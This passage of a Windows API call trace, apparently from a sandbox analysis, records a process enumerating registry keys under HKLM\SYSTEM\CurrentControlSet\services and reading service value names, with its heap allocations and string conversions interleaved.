lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.683] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0029.683] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.683] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x164) returned 0x0 [0029.684] RegCloseKey (hKey=0x80000002) returned 0x0 [0029.684] RegEnumKeyW (in: hKey=0x164, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0029.684] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.684] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1c94450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0029.684] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.684] RegEnumKeyW (in: hKey=0x164, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0029.684] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.684] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1c946d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0029.684] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.684] RegEnumKeyW (in: hKey=0x164, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0029.684] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0029.684] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1c94450, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0029.684] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.684] RegEnumKeyW (in: hKey=0x164, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0029.684] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1c946d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.685] RegEnumKeyW (in: hKey=0x164, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.685] RegEnumKeyW (in: hKey=0x164, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.685] RegEnumKeyW (in: hKey=0x164, dwIndex=0x6, lpName=0x1c829e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.685] RegEnumKeyW (in: hKey=0x164, dwIndex=0x7, lpName=0x1c829e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1c946d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.685] RegEnumKeyW (in: hKey=0x164, dwIndex=0x8, lpName=0x1c829e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.685] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1c94450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.686] RegOpenKeyExW (in: hKey=0x164, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0029.686] RegCloseKey (hKey=0x164) returned 0x0 [0029.686] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.686] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.686] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1c946d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.686] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.686] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="services") returned 0x0 [0029.686] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.687] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x164) returned 0x0 [0029.687] RegCloseKey (hKey=0x15c) returned 0x0 [0029.687] RegEnumKeyW (in: hKey=0x164, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1c94450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.687] RegEnumKeyW (in: hKey=0x164, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1c946d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.687] RegEnumKeyW (in: hKey=0x164, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1c94450, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.687] RegEnumKeyW (in: hKey=0x164, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1c946d8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0029.687] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.687] RegEnumKeyW (in: hKey=0x164, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1c94450, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.688] RegEnumKeyW (in: hKey=0x164, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1c946d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.688] RegEnumKeyW (in: hKey=0x164, dwIndex=0x6, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1c94450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.688] RegEnumKeyW (in: hKey=0x164, dwIndex=0x7, lpName=0x1c829e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.688] RegEnumKeyW (in: hKey=0x164, dwIndex=0x8, lpName=0x1c829e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0029.688] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.690] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.690] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0029.690] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d368 [0029.690] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.690] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.690] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0029.690] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c947f8 [0029.690] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.690] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d378 [0029.690] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0029.690] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.690] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d458 [0029.690] RtlAllocateHeap (HeapHandle=0x2330000, 